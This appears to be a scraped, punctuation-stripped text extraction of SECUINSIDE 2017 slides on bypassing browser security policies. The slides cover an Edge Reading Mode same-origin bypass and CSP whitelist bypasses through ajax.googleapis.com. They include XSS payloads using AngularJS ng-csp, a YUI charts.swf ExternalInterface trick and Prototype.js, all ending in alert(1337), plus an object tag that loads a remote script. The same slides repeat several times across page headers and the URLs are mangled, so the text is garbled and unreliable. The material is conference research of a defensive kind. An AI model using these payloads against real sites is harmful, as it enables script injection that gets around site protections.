CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 13: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 14: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 15: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 16: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 17: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 18: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

